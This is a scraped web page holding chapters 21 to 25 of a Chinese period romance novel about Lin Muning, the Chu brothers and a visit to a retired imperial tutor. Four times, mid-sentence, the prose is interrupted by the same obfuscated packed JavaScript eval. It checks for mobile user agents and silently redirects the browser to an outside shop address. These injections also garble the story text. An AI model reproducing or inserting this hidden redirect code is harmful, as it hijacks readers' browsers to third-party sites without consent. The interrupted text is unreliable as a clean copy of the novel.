石头在后面憋笑憋得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367130|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀直抖，春桃和柳莺儿也抿着嘴笑。 这一幕都被刚从外头回来的褚序宸看在了眼里。他下值后，去会了会国子监另外一个纨绔的官家父亲，回来得迟了些。 可刚过了门厅，就看到西侧院门口站着几个人，说说笑笑的。他一眼就认出了那个窈窕的女子，她侧身站在那，眉眼弯弯，半边脸笑出了酒窝。看样子，很是愉悦。 这女子究竟有几副面孔，面对自己的时候，可从未见过如此笑容。 站在她对面的正是继弟褚书墨，他脸怎么那么红，连耳朵都快滴血了。低着头，却总忍不住去看对面那女子。 褚序宸脚步微顿，侧头问来喜：“他们这是干什么呢？” 来喜也往那边瞧了一眼，回道：“听说二公子给林姑娘雕了个小玩意儿，林姑娘很喜欢，大约是在说这个吧。” “雕了个小玩意？”褚序宸语气听不出情绪，淡淡道，“他倒是有闲心。等会，让他来我书房找我。” “是。”来喜终于听出来公子这是不高兴了，他猜着大约是因为公事吧。暗暗告诉自己，今日万不要行差踏错，惹公子不快。 褚序宸回到自己的院子，直接去了书房，换下了官服，随手拿起今日的公文翻看。 这是顺天府下属从户部拿回来的回函。户部侍郎李大人好一番诉苦，说今年各地灾情不断，这边要放粮，那边要补款，户部也没有多少盈余了。话里话外的意思，是让顺天府自己想办法解决宛平县的事。实则是有怨气，怪宛平县县长越级上报，不把他们户部放在眼里。 今日他又问了下属们的意见，要不要直接上折子禀明皇上。结果一半人缄默不语，剩下的一半里又有一半说再周旋周旋，万不得已不要惊动皇上，以后与户部难免还有来往，怕伤了和气。 褚序宸揉了揉眉心，只觉得今日格外疲惫。 偏偏回来之后，又瞧见那一幕。 那始作俑者站在那里，无忧无虑、没心没肺的样子，倒像是什么事都没发生过。 他冷笑一声，将公文往桌上一扔，靠进椅背里，闭上了眼。 半炷香后，褚书墨来到了褚序宸的书房门口，敲了敲门。 “兄长？” 褚序宸睁开眼，坐直了身子，低声道：“进来吧。” 褚书墨推门而入，规规矩矩站到一旁，垂手问道：“兄长唤我，可是有事？” 褚序宸抬眸看了他一眼。他脸上那层红潮已经褪了大半，耳根却还残留着浅浅的余红，像是方才的羞赧还没完全散尽。 “之前我说让你写几篇策论拿来给我看，”褚序宸收回目光，语气淡淡的，“写了吗？” 褚书墨心里咯噔一下。 兄长交代过，每隔几日便要写一篇文章送过来请他指点。可自打林姑娘来了之后，这事竟被他搁下了。今日原本想在书房里写一篇，却被那支木雕花的事打断了。眼下被问起，难免心虚。 他垂下眼，低声道：“兄长近日繁忙，没敢来打扰。” 褚序宸掀开眼皮：“是没敢打扰，还是没写？” 22. 第二十二章 褚书墨冷汗都快下来了。这几日，确实心思有些偏了。白日里读书时倒也没什么差别，可回家后，总是忍不住想起那个倩影，那张明媚的脸，温书的进度大大减缓。 他低着头，诚恳承认错误：“兄长，是我的错，我今日便写一篇，明日等兄长下值回来拿给你看。” 褚序宸没接话，却问：“你以为来到褚家只是为了完成婚约的吗？” “自然不是，”褚书墨当即否认，“我知能有如今的生活，全都依赖母亲和兄长的庇佑，我自然是知足的，也不敢懈怠。” 他目光冷淡，看着站在他面前的这张年轻但略显青涩的脸，说不清楚心里是什么滋味。 “知道便好，到了国子监读书，并不意味着就一定能高中。你且得把心思多放在功课上。” 褚书墨拱手行礼： “兄长，我这就回去写文章，今晚就给你拿来过目。” 褚书墨从东院书房出来时，天色已经彻底暗了。 他站在廊下，深深吸了口气，又缓缓吐出来。兄长的语气不算重，甚至从头到尾都没有一句厉色的话，可他偏觉得比挨了板子还难受。 只因他知道兄长的每一句话都是对的。 住进这样的大宅子里，有下人贴身伺候，进了国子监，每日与京中才俊同窗读书。这样的日子，从前在乡下时想都不敢想。可正因如此，才更要珍惜，更要加倍用功才是。 他低头看着自己的手。食指和中指侧面还留着刻刀磨出的薄茧，微微发红。 那是做木雕时留下的。 他想起方才林姑娘站在院门口的样子。她说“喜欢”的时候，眼睛亮得像盛了星星。 褚书墨忍不住弯了弯嘴角，随即又绷住了。 不行，不能想了。 他加快脚步往西侧院走，一进门就吩咐石头：“准备纸笔，我要写文章。” 石头愣了一下：“公子，您不吃饭了？” “不饿。对了，你去跟母亲说一声，就说我今日功课繁多，不去请安了。请母亲谅解一二，明日一早我再过去。” 一切准备妥当。石头从外头把门关上，他轻轻叹了口气。 这二公子太实诚了，大公子说是会关照二公子的功课，可来了几个月，二公子之前的文章也就帮着看了两篇。 大公子实在是太忙了，今日也不知怎么了，竟然抓着二公子的功课责问起来了。 石头想着：怕是大公子公务上遇到了烦心事，正无处发泄，就让二公子赶上了。 “哎，”石头望着窗户上印出来的背影，喃喃道，“老天保佑二公子明年能考出个好成绩，到时候就可以和林姑娘风光大办婚礼了。” * 褚序宸在书房批完公文，又拿出一本《时论》，翻了几页，没看进去，只觉得太阳穴一跳一跳的疼。 来喜端着一碗刚熬好的醒酒汤过来。 “公子，今日饮了酒，怕是头痛又发作了，喝点汤吧，会舒服些。” “嗯，先放在那吧。” 他将手中的书搁置一旁，问来喜：“我是不是对书墨太过严厉了些？” 来喜一向会看人脸色，也会顺着自家公子说话：“公子是为了二公子好才会如此，二公子他会明白的。” 来喜觑着主子的脸色，小心替褚书墨分辩了几句：“二公子其实平日很是用功。听石头说，他每日从国子监回来，还要温书到深夜。这两日略略懈怠，也是因着给林姑娘准备见面礼。二公子舍不得花老夫人给的钱，便自己动手，难免要多费些心神。” 褚序宸轻哼一声：“今日送个见面礼，明日又送什么？来来回回，尽是瞎耽误功夫。”他顿了顿，语气愈发淡了，“况且那林家女，可懂他的心思？白白耗费这些心力，她可知珍惜？” 在他眼里，林慕凝那性子大大咧咧的，瞧着便不是个细腻人。褚书墨费尽心思雕出来的东西，怕是她随手一搁，转头就忘了。 “林姑娘她......” 来喜张了张嘴，想替林姑娘说两句。林姑娘其实极好相处，待他们这些下人也和善，断不会糟蹋别人的心意。可话到嘴边又咽了回去，公子对林姑娘本就存着偏见，怕是三言两语说不清，没继续往下说。 他只催道：“公子先把汤喝了吧，仔细凉了。” 褚序宸端起碗，一饮而尽，又看了眼来喜，不知他没说完的话是什么，问了句：“母亲今日出门了吗？” “出门了，您进门前，她才回呢。” “嗯，我去见母亲。” 褚序宸说完，披上外衣，往沈氏住的“萱草堂”去了。 沈氏正在净面，见儿子这个时辰过来，不免诧异：“怎的这时候来了？有事？” 褚序宸开门见山：“明日我要去宛平县，怕要待上几日。来是想问问母亲，可给那林家女寻着老师了？” 沈氏嗔怪地看了他一眼：“你也太心急了些。这才一日工夫，哪里就能寻到了？我今日去问御史夫人，她倒说起一位老师，原是教过前朝皇子的，学问极好，只是规矩大了些，要学生聪慧、有根基才肯教。最要紧的是得先见见人，若合了眼缘，旁的才好说。我原想着过几日带慕凝去见见，你可倒好，这就催上了。” 褚序宸闻言，眉头微蹙：“母亲还是趁早另寻他人吧，那林家女有何根基？”他起身欲走，脚步微顿，又补了一句，“我也找人问问，若有合适的，便直接领来。母亲早些歇着。” 话音未落，人已出了房门。 沈氏看着那背影消失在帘外，不由将帕子往桌上一撂，对身旁的周嬷嬷嗔道：“你瞧瞧他，如今越发像他祖父了。幸而老太爷那边还有婆母开明些，能劝解一二。他倒好，日后若真娶个名门闺秀，也同他这般说一不二，我这做婆母的还有什么好日子过？” 周嬷嬷接过沈氏手中的帕子，又将温热的毛巾递过去，笑着劝道：“夫人莫要杞人忧天。依老奴看，没准咱们家大公子将来偏就寻了个能治住他的人呢。说不定那人，恰恰就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376476|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大公子平日最不放在眼里的。这世间的事，原就难说得很。” 沈氏擦手的动作一顿，脑海中莫名浮起林慕凝那张明媚的脸。她叹了口气，语气里带出几分悔意：“当初我就不该听他的。若让慕凝做我的儿媳妇，我瞧着她便欢喜。” 周嬷嬷温声道：“林姑娘嫁给了二公子，也是您的儿媳妇啊。” 她又宽慰沈氏：“夫人且宽心，我瞧着那林姑娘是个极聪慧的，不如先带着林姑娘去见见御史夫人说的那位老师，或许人家老师就喜欢她了呢。” 沈氏点点头：“嗯，那明日就去。幸亏我今日多问了句，那老师如今得不得空，偏巧了人家现在闲得很。待会儿，你就去找下慕凝，看看她身子好些了没，若是无碍，明日早些动身。” “是。” 此时的抱竹轩，林慕凝正在绞尽脑汁地想着到底该给褚书墨还个什么礼呢。 她手里的帕子绞了又展、展了又绞，半天也没理出个头绪来。索性往榻上一坐，托着腮问柳莺儿：“你可给男子送过礼？” 柳莺儿登时红了脸：“姑娘这是说的什么话？我可不敢私相授受。莫说如今爹娘不在了，便是在，也是万万不成的。” 林慕凝见她臊得连耳根子都粉了，忍不住笑了一声，又问：“你们老家规矩这般大么？”她想起当初在晋州路边捡到柳莺儿时的情形，不由来了兴致，“我家那边倒不这样。女子若喜欢上哪个男子，只管跟家里说便是。若不是我爹早年给我定下这门娃娃亲，”她歪着头想了想，语气里竟有几分惋惜，“说不定我早就相中一个眉清目秀的小伙子了。” 柳莺儿听得目瞪口呆，半晌才憋出一句：“姑娘这话可不敢在外头说。” “我又不傻。”林慕凝摆摆手，思绪却飘远了。 她想起从前的事来。街坊邻居都知道她定了亲，自然无人来做媒。可每回去县城，总有人打听她，也有那俊俏的公子主动上前搭话。去年开春，她和好友曲惠芳去县城里玩，就遇着一位。 那人生得确实好看，一袭青衫，眉目清朗，说话也和气。得知她定了京城的人家，还笑着说：“若有一日姑娘上京，说不定咱们还能碰面。”临别时报了姓名，说是要上京赶考的。 叫什么来着？竟一时想不起来了。 她晃了晃脑袋，算了，京城这般大，哪里就能遇到了。且说不定，那位公子根本就没进京呢。 她回过神来，问道：“你说，我回二公子一套笔墨好不好？读书人总要用这个的。” 柳莺儿见她总算绕回到正事上，松了口气：“笔墨自然是好的，二公子肯定会喜欢。只是寻常了些。二公子既送了那样精巧的物件，姑娘回得太普通，倒显得敷衍了。姑娘您说呢？” “也是。”林慕凝又犯了愁，手指在桌面上无意识地敲着，“那该送些什么呢？” 正巧秋杏端着一盘刚蒸出来的枣糕来：“姑娘，尝尝这个？” 林慕凝忽然来了主意：“我知道送什么了。” 23. 第二十三章 林慕凝忽然想起家乡的云片糕来。 那糕片薄如蝉翼，雪白晶莹，一层层叠起来，入口绵软，甜而不腻。每年年节，她娘都要做上几匣子，招待亲戚、客人，剩下的便藏起来，留着给她当零嘴。她曾缠着母亲学了手艺，虽不及母亲做得好，倒也像模像样。 来京城这些日子，她逛过几回集市，从没见着有卖云片糕的。想来京城人是不知这道小吃的。 不如就做这个罢。 亲手做的，比外头买的有心意，又是家乡的味道，旁人轻易吃不着。褚书墨待她真诚，她也该拿出十分的诚意来。只是这糕做起来费工夫，米粉要磨得极细，糖要熬到恰到好处，一层层蒸熟、压实、切片，少说也要大半日。 眼下食材也不齐全，她盘算着明日一早先去厨房问问，若没有，便得出去采买。 “那明日就做这个了。”她一拍桌子，定下来了。 柳莺儿不知她念叨的是什么，探头问：“姑娘想到做什么了？” “家乡的小吃。”林慕凝冲她眨眨眼，“到时候给你们都尝尝。” “那太好了。”柳莺儿和秋杏都拍手叫好，都想尝尝林慕凝家乡的特色小吃。 正说笑着，春桃掀帘子进来，道：“姑娘先不忙，周妈妈来了，说是有事交代。” 话音才落，周嬷嬷便笑盈盈地走了进来，先福了一礼，才道：“林姑娘，老夫人明儿要带您去见位老师，特意吩咐老奴来嘱咐姑娘，今晚早些歇息，攒足精神头。” 林慕凝一愣：“老夫人要让我去读书了？” 周嬷嬷笑着解释：“是大公子的意思。夫人给姑娘寻了位德高望重的老师，想带姑娘去见见呢。” 林慕凝心下了然。这是那褚大公子嫌她是个乡野村姑，比不得京城闺秀们知书达理，怕将来带出去跌了褚家的脸面罢。虽说如今已换了人婚配，可到底顶的是褚家二公子未婚妻的名头，总不能在外人面前露了怯。 她面上不显，只笑着应了：“劳烦嬷嬷跑一趟，替我谢过老夫人费心。我明日一准儿收拾妥当，不耽误出门的时辰。” “姑娘客气了。”周嬷嬷笑道，“那姑娘早些歇着，老奴先告退了。” 出了门，又嘱咐春桃：“明日给林姑娘收拾得得体些，盼着那位老师能看中姑娘。” 送走了周嬷嬷，林慕凝回身往榻上一坐，脸上的笑便淡了几分。 柳莺儿小心翼翼地问：“姑娘，您不高兴了？” “有什么不高兴的？”林慕凝随手拿起枣糕吃了一口，“人家好心好意给我请老师，我该感激才是。” 话是这么说，可她心里还是有些不是滋味，尤其听说这是褚序宸的主意。她也奇了怪了，这婚配之人都换了，怎么还是哪哪都有他。 秋杏想起一事，说：“刚我来时碰到了石头，说二公子今晚上都没吃饭。缘是被大公子叫去问话了，说什么文章没写，把二公子训了一顿。” “啊？”林慕凝皱着一张小脸，“看来发愁的不止我一个。” 过了半晌，林慕凝忽然站起身来，语气又恢复了平日的精神头：“罢了，不想这些。春桃，明日我陪老夫人出门，你先去厨房问问，有没有糯米粉、澄面、玫瑰糖这几样。若没有，带着这几个出去买来，等我回来了，我要用的。” 春桃应了，问：“姑娘还要去做那什么糕？” “当然要做。”林慕凝说得理直气壮，“人家送了我那样好的东西，我总不能因为要去见个老师就把这事撂下了。再说了，既然是德高望重的老师，那未必看得上我。到时候请不请的来，还两说呢。” 春桃又道：“姑娘别说泄气话，我瞧着咱们姑娘是个顶聪明的，也读过书，识得字，怎么就看不上了？” “就是，咱们姑娘好着呢。” 其他几个也跟着劝。 “好了，好了。”林慕凝把枣糕递给春桃，“你们几个下去分了吧，我不吃了，要早点睡。” 林慕凝洗漱过后躺在榻上，翻来覆去地睡不着。 她盯着帐顶发了会儿呆，忽然小声问：“柳莺儿，你说，京城里的闺秀们都学些什么？” 柳莺儿在外间的榻上迷迷糊糊的，闻言含混地应了一声：“大约是诗书礼仪、琴棋书画罢。” 林慕凝“哦”了一声：“那一个老师教得过来吗？” 外头柳莺儿没回话，大约是睡着了。林慕凝不再说话，又盯了会帐顶，强迫自己闭上了眼睛，没一会儿，也睡过去了。 东院西院的两位褚家公子却都还未睡。 褚书墨写完文章，从头到尾细细看了一遍，又改了几处措辞，自觉比上一篇强了不少。他揣着文章往东院去，想请兄长过目，却在院门口被来喜拦下了。 “我们公子说了，让二公子不必着急。等他过两日从宛平县回来再看，也来得及。” 褚书墨应了一声，又将文章揣回怀里。 回到书房，他又把文章摊开来，从头细读。这一遍读得极慢，一字一句地琢磨，遇到觉得不妥的地方便停下来，提笔修改。改了又觉得不如原意，再改回来。反反复复，不知不觉又过了大半个时辰。 褚序宸想着宛平县受灾之事，若那边情况没有好转，便不再催户部，直接上书皇上了。与户部结下过节便也没办法了，总不能为了这些虚伪的东西，放任灾民于不顾。 一时忧心，也无心睡眠。 他推门出去，在廊下站了一会儿，只觉得那股子酒气散了不少，脑子也清明了许多。远处隐隐传来更鼓声，二更了。 来喜拿了件外衣给他披上。 “公子，夜风还有些凉，小心身子。” “明日几时动身？”褚序宸问。 “卯正套车，公子放心，都准备好了。” 褚序宸点点头，又站了片刻，转身回了卧房。熄了灯，和衣躺下，却仍是睡不着，翻来覆去，满脑子都是公事。 还有…… 那女子面对褚书墨，笑得没心没肺的样子，好像天底下就没有值得发愁的事。 他皱了皱眉，将这个念头压下去，翻了个身，面朝墙壁。 也不知过了多久，他才迷迷糊糊地睡去。 * 沈氏说的那位老师，是前朝太傅，不授课的时候便住在西山脚下。从褚府出发，少说也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381695|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个时辰的车程。 故而第二日卯时刚过，沈氏便已梳洗妥当，连早膳都只用了几口。 “早些去，莫要让老师等着咱们。”她一面整理袖口，一面吩咐周嬷嬷再去看看车马备好了没有。 林慕凝也早早起来了。 今日是春桃给她梳的头，照着京中贵女们时兴的样式，一丝不苟地盘了发髻，鬓边簪了一支小巧的珠花。衣裳也是新做的，月白色的褙子，衬着她肤色白皙，眉目清亮。 春桃左看右看，满意得很：“姑娘今日可真好看。” 林慕凝对着铜镜照了照，也觉得精神，便带着柳莺儿往大门去。 到了门口，沈氏已经在了。见她过来，上下打量了一番，脸上露出几分满意之色，拉着她的手正要上马车，却见侧门那边也有人出来。 褚序宸一身常服，正吩咐来喜牵马。 他抬眼看见门口这一行人，脚步微微一顿，上前行礼：“母亲这么早出门，这是要去哪儿？” 沈氏瞥了他一眼，语气里带了几分没好气：“自然是带慕凝去见老师。你昨日不是还催得紧么？如今倒来问我。” 褚序宸的目光这才落到沈氏身旁的林慕凝身上。 自那日两人争执过后，便再没说过话。林慕凝倒是不躲不闪，大大方方地福了一礼，唤了声：“兄长，早。” 她面上恭恭敬敬，可眼角眉梢却带着一丝压不住的得意，那神情分明在说：你不是不许我出门么？如何，到底还是说了不算罢？ 沈氏自然看不出来这些眉眼官司，可褚序宸却瞧得真真切切。 他鼻腔里极轻地哼了一声，也不搭理她，只翻身上马，坐稳了才回过头来，不紧不慢地丢下一句：“母亲此去怕是要白忙活一场，不如早些听我的，换个老师罢。免得让人家觉得....”他顿住，目光似有似无地扫过林慕凝，“觉得咱们褚府不识趣。” “驾！” 话音刚落，人就已经打马出去了。 来喜匆匆跟在后头，不忘回头赔了个笑脸：“老夫人、林姑娘，小的先去了，二位路上当心。” 马蹄声渐远，沈氏站在原地，被儿子这几句话堵得胸口发闷，半晌才转向林慕凝，勉强笑道：“不必理他，咱们走咱们的。” 林慕凝乖乖应了一声，扶着沈氏的手上了马车。 帘子放下来，隔绝了外头的晨光。她端端正正地坐好，嘴角却忍不住微微翘起来。 不识趣？ 她倒觉得，那位大公子今日才叫真的不识趣呢。 马车辘辘地驶出巷口，往西山方向去了。而另一头的褚序宸策马走在晨光里，面上淡淡的，看不出什么情绪。 来喜小跑着跟在后头，偷偷觑了一眼主子的脸色，心里直犯嘀咕：公子方才那几句话，听着像是说给老夫人听的，可怎么句句都冲着林姑娘去呢？ 他想不明白，索性不想了，只埋头赶路。 褚序宸却忽然勒马，回头望了一眼，心中没来由地竟还有些不放心。 他吩咐来喜：“送到这里就行了，有随从跟着，你不必跟了。你去找老夫人，有什么情况，随时看着点。” 24. 第二十四章 沈氏靠在车壁上，脸色不大好看。 她还在想儿子方才那几句话。 当着慕凝的面说这些，是存心给她这个做母亲的下不来台么？她越想越气，胸口那股子火气直往上顶，连带着早上垫的那几口吃食也在胃里翻涌。 她皱了皱眉，吩咐车夫慢些走，免得真吐出来，反倒失了体面。 周嬷嬷在一旁小心地替她抚着背，低声劝道：“夫人莫要动气，大公子也是担心，才会如此。” 沈氏哼了一声，没接话。 反观对面的林慕凝，倒是一点不受影响。她自打上了车就把帘子掀开一角，歪着头往外头看，看得津津有味。 天光还没大亮，街边的铺子却已经热闹起来了。 卖包子、炸油条、卖馄饨的、卖烧饼的、卖豆花的，一家挨着一家，热气腾腾的，空气里都弥漫着早餐的香味。 林慕凝早上只喝了口豆汁，其他的什么都没吃，此刻这些味道把她的馋虫勾上来了。 正想问沈氏，来不来得及让柳莺儿买些包子带上，就听沈氏开口：“慕凝，你莫要听你兄长胡说。他啊，成器的早，冠誉过甚，难免有些傲气。以前我倒也没觉得他这般不好相处，没想到官做大了，脾气也见长。等他爹回来，必要好好说说他的。” 林慕凝都快忘了出门那一遭了。 挺沈氏提起，才道：“我倒是没有多想，兄长说的也不无道理，那位老师未必看得上我，兄长或许是怕夫人您这般忙碌，却落了空。” 顿了顿，又补充道： “不过跟着夫人出去涨涨见识也是好的。” 沈氏听了这话，心里那点不快倒是散了大半。 她心里暗道：换做寻常女子，听了那些话，怕是早就气炸了，纵然嘴上不说，可面上多少会显露一二。可林慕凝却没有一点言不由衷的样子。这样的心胸，倒是不多见。 沈氏微微点头，神色缓和下来，道：“合不合眼缘的，总要见了才知道。若是那位老师当真瞧不上，咱们再另寻便是。京城里德高望重的先生也不止他一位，总归要给你寻个妥当的。” 林慕凝乖巧应下，肚子却不争气地咕噜一声，在安静的车厢里格外响亮。 沈氏忍不住笑了：“你这孩子，是不是没吃饭就出门了？”她朝外头吩咐，“停一停，周嬷嬷，你去下面买些吃食上来。” 林慕凝连忙拦住：“不劳烦嬷嬷，让莺儿去就是了。夫人可想吃点什么？我让她一并买了来。” 沈氏摇摇头：“我吃过了，这会儿也没胃口。”她朝周嬷嬷使了个眼色，周嬷嬷会意，从随身的荷包里摸出一小块银子，递到林慕凝跟前。 林慕凝摆手不肯接：“上回夫人给的还没花完呢。” 周嬷嬷笑着将银子塞进她手里：“给你的，就拿着。” 林慕凝看向沈氏，见后者含笑点了点头，便也不推辞了，大大方方地接过来，掀开帘子递给柳莺儿，嘱咐她拣热乎的买几样上来。 柳莺儿接过银子，一溜烟跑远了。 周嬷嬷趁这空当，又凑近了些，和声细语地同林慕凝交代：“咱们夫人的意思是，往后姑娘在府里，月例银子和二公子一样，每月二十两。若有什么额外使费，只管同老奴讲便是。” 林慕凝心里暗暗咋舌。二十两银子，放在她老家，够一户寻常人家吃用一整年了。这褚家果然是高门大户，出手这般阔绰。 她也不扭捏，爽快地应了：“那就多谢夫人了。其实我平日里也花不了多少，多余的便存起来好了。” 沈氏笑着说：“对钱有规划是好的，往后你要嫁给老二，少不得要操持一个家呢。趁着这次找老师，你也学一学账目。早晚都用得上。” 林慕凝“嗯”了一声，乖巧应下，没有多说什么。 其实账目她哪里不懂。她脑子灵，那些需要算计的东西，在脑子里过一遍就能理得清清楚楚，从不出错。 在老家时，镇上的婶子婆姨们常找她帮忙算账，家里一大家子的开销收入，她也门儿清。 这一点，随了她娘。 小时候娘管账，她就搬个小板凳坐在旁边看，看着看着便学会了。娘夸她脑子好使，什么东西都是一点就透。 只是，京城里这样的大宅门，账目想必比她家里的要繁琐得多。她虽不怕，却也晓得轻重，不敢托大。 她垂着眼，手指悄悄摩挲着袖口，心想：等真到了那一日，再用心学便是。 柳莺儿拎着热腾腾的包子回来时，身后还多了一个人。 来喜小跑着跟到马车跟前，在外头恭恭敬敬地行了个礼：“老夫人，公子让小的跟着您二位同去。” 沈氏隔着帘子哼了一声，把对褚序宸的气全撒在了他身上：“跟着去做什么？想看我们娘儿俩的笑话不成？” 来喜嘿嘿笑着：“老夫人您这话说的，没有的事，咱们公子是不放心，还把他手牌给我了，说若是那前朝太傅敢对老夫人和林姑娘不敬，就将这手牌亮出来，吓一吓他。” “哼，”沈氏白了他一眼，就像自己儿子在眼前一样，“还真当他自己是个人物了？人家太傅什么场合没见过，会怕他？” “老夫人，您说的是。” 沈氏摆了下手：“罢了，跟着吧。” 来喜跳上马车，坐在车夫旁边：“那咱走着。” 林慕凝接过包子，一口一个，几个下肚，觉得舒坦多了。 她才不去管褚序宸让来喜跟来的缘由，也不去担忧即将见面的那位前朝太傅，会不会看中她这个学生。 她的目的，就是出来游玩。 孟棠溪曾同她说过，京城有几处好玩的去处，首推便是西山。说有山有水，风景不输江南，是夏日避暑的好地方。山顶上还有一座草场，据说极为开阔，站在上面能望出老远。 她来京城路上各种风景都见过，倒是从未见过山顶上有草场的，她很想去看看那到底是个什么景象。 可这话不能直说。她想了想，找了个由头，歪着头问：“夫人，那位前朝太傅为何偏偏住在西山脚下？他那样的身份，城里头该有大宅子吧？住在城里头，出门会客、买东西都方便些，不比这儿强？” 沈氏闻言笑了，摇头道：“京城看似热闹，实则拘束得很。你当住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390204|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里头就事事便宜了？人情往来、应酬交际，哪一样不是缠人的？倒不如躲远些，落个清静。咱们家老太爷和老太太，不也回老家住了么。” 沈氏说的老太爷老太太，是褚序宸的祖父祖母。老太爷原是前朝二品大员，新皇登基不久便卸了任，带着老太太归了乡，说是要安度晚年。 沈氏又道：“西山很美，远离纷争，人心也静。想来老太傅也是喜静之人。幸而有这层关系，否则咱们连人都见不到。还是那句话，你不必忧心，纵然他不肯教你，咱们这趟也不白去。西山那边风景很好，咱们就当是出来散心，又有何不可呢？” 这话正中了林慕凝的心思。她眼睛亮了亮，嘴角的笑意几乎压不住，却又觉得不该表现得太过明显，忙收敛了些，换上一副认真思索的模样：“万一……我是说万一啊，老太傅真瞧上我了，那我是不是就得留在那儿学了？” 这话问得天真，周嬷嬷在一旁捂着嘴直笑。 沈氏也被她逗乐了，含笑道：“放心，不会把你一个人丢在这儿的。御史夫人同我说过，老太傅归根到底是爱才之人。若真遇着中意的学生，他便会回京城宅子里住，让学生每日上门来学，教个一年两载的，也就差不多了。” 林慕凝“哦”了一声，心里松了口气。 一路上，林慕凝又跟沈氏聊起了那日遇见孟棠溪的情景。 沈氏诧异道：“你是说你结识了孟将军的女儿？” “孟姐姐倒是说过她那一身功夫是跟她爹学的，她爹爹的确是个大将军。”林慕凝并不知孟家的具体背景，也不知孟将军究竟是个什么官。 沈氏道：“这位孟姑娘如今正和三皇子议亲，此事怕是不久就要昭告天下了。” 这是林慕凝第二次听到“三皇子”的名号，上一次还是和褚序宸吵架时听到的。 想到褚序宸质问过她的话：“若是有耽误了人家的亲事，你担得起这个责任吗？” 她小心翼翼地问：“夫人，我是不是不该交这个朋友啊？” “怎么会？”沈氏抬眼看她，“你同她结识，对你和老二未来只会有利。这样的朋友，要多些才好呢。” 她很是欣慰：“我原先还担心你对京城不习惯，怕你拘束，如今看来是我多虑了。日后你只管大大方方出门去，多结交些朋友，像孟姑娘这样的，多多益善。她若来约你，你只管去便是。” 沈氏说着，又补了几句：“孟将军从前是老爷在军中的首领，为人极是坦荡直率，他的女儿想必也差不了。我看那孟姑娘的性子，倒跟你很合得来。” 林慕凝心下欢喜，原本还想找机会同沈氏说说，允她自由出门。 现在好了，这事不用提，就成了。 但她还是把丑话说在了前头：“可是夫人，兄长好像不喜我总往外头跑，与孟姐姐结识那日，回来的晚了些，被他好一顿数落呢。” “他？”沈氏眉梢一挑，语气里带出几分护短的意味，“他那个木头脑袋，你不用理。回头我自去说他。” 林慕凝听了这话，心里最后那点顾虑也散了，弯起眼睛，脆生生地应了一声：“多谢夫人！” 25. 第二十五章 前朝太傅闻济之正在院子里打太极拳，老人身形清瘦，一袭青衫洗得有些发白，袖子挽到手腕处，露出一截枯瘦却极稳当的小臂。 他动作虽慢，可每一式都带着一股说不出的劲道，松松地含着，不往外露。 书童轻手轻脚地进来，站在廊下不敢出声，直等到闻济之缓缓收了势，双手下按，吐出一口浊气，这才上前禀报：“老先生，城里的贵人在门外等着呢。这是他们给的手信。” 闻济之不慌不忙地接过布巾擦了手，又喝了半盏温茶，这才将书童递上来的信展开。信是御史夫人写的，措辞客气却不过分热络，只说有位友人的准儿媳想寻个老师，旁的并未多言。闻济之看完，微微点了点头。 御史夫人是懂他规矩的。他不看身份地位，不瞧门第高低，只看学生自身的资质。那些拿银子堆出来的、拿权势压上来的，他一概不见。这两年托关系来请他的人不少，可来来回回都是些资质平平的，教起来索然无味，倒像是他求着他们学似的。 他将信纸折好，搁在石桌上。 “请她们进来罢。”他淡淡开口，语气里听不出什么情绪，可眼底却有一丝不易察觉的兴致，这两日正觉无趣，来个人说说话也好。若是个不成器的，权当是逗闷子好了。 书童应了一声，小跑着去了。 闻济之坐在石凳上，望着院墙上攀着的爬山虎，略略思量。 他活了这么大岁数，还是头一次听说这种事。能同御史夫人交好的，自然不是什么寻常人家。既是达官显贵，那准儿媳理应是门当户对的闺秀才女才是。城中的贵女们他是知道的，打小便有先生悉心教导，琴棋书画样样不落，怎么会在即将出阁的当口，反倒巴巴地跑到山上来请老师？ 事情不寻常，那便是有趣。 他正想着，院门口已经传来脚步声。 